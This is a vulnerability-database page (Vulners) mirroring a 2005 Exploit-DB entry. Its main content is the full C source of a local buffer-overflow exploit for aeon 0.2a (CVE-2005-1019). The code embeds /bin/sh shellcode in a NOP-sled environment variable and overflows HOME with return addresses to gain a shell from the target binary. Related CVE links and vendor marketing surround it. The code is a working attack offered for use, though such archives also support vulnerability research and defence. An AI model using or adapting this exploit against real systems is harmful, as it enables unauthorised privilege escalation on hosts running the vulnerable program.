Lucene search
+L

Aeon 0.2a - Local Linux (2)

🗓️ 05 Apr 2005 00:00:00Reported by patr0nType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 38 Views

Local Linux exploit for aeon 0.2a by patr0n targeting buffer overflow vulnerability.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2005-1019
9 Apr 200504:00
cve
cvelist
Cvelist
CVE-2005-1019
9 Apr 200504:00
cvelist
exploitdb
Exploit DB
Aeon 0.2a - Local Linux (1)
5 Apr 200500:00
exploitdb
euvd
EUVD
EUVD-2005-1022
7 Oct 202500:30
euvd
nvd
NVD
CVE-2005-1019
2 May 200504:00
nvd
/* first release /str0ke */
/*
local linux exploit within aeon-0.2a
Coded by patr0n (security-tmp.h14.ru)
*/


#define BUFLEN 533
#define PATH "/home/research/aeon-0.2a/aeon"

char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";

int main(int argc, char *argv[]) {

        char evilbuf[BUFLEN];
        int i;
        char *p,*av[2], *ev[3];
        char *egg;

        egg=(char *)malloc(1000);
        sprintf(egg, "EGG=");
        memset(egg + 4, 0x90, 1000-1-strlen(shellcode));
        sprintf(egg + 4 + 1000-1-strlen(shellcode), "%s", shellcode);

	long ret=0xbfffffff-5-strlen(egg)-strlen(PATH);

        p=evilbuf;
        bzero(evilbuf,sizeof(evilbuf));
	strcpy(evilbuf,"HOME=");

        for(i=5;i<=BUFLEN;i+=4)
	    *(long *)(p+i)=ret;

        av[0] = PATH;
        av[1] = 0;
        ev[0] = egg;
	ev[1] = evilbuf;
        ev[2] = 0;
        execve(*av, av, ev);

        return 0;

}

// milw0rm.com [2005-04-05]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 May 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01106
38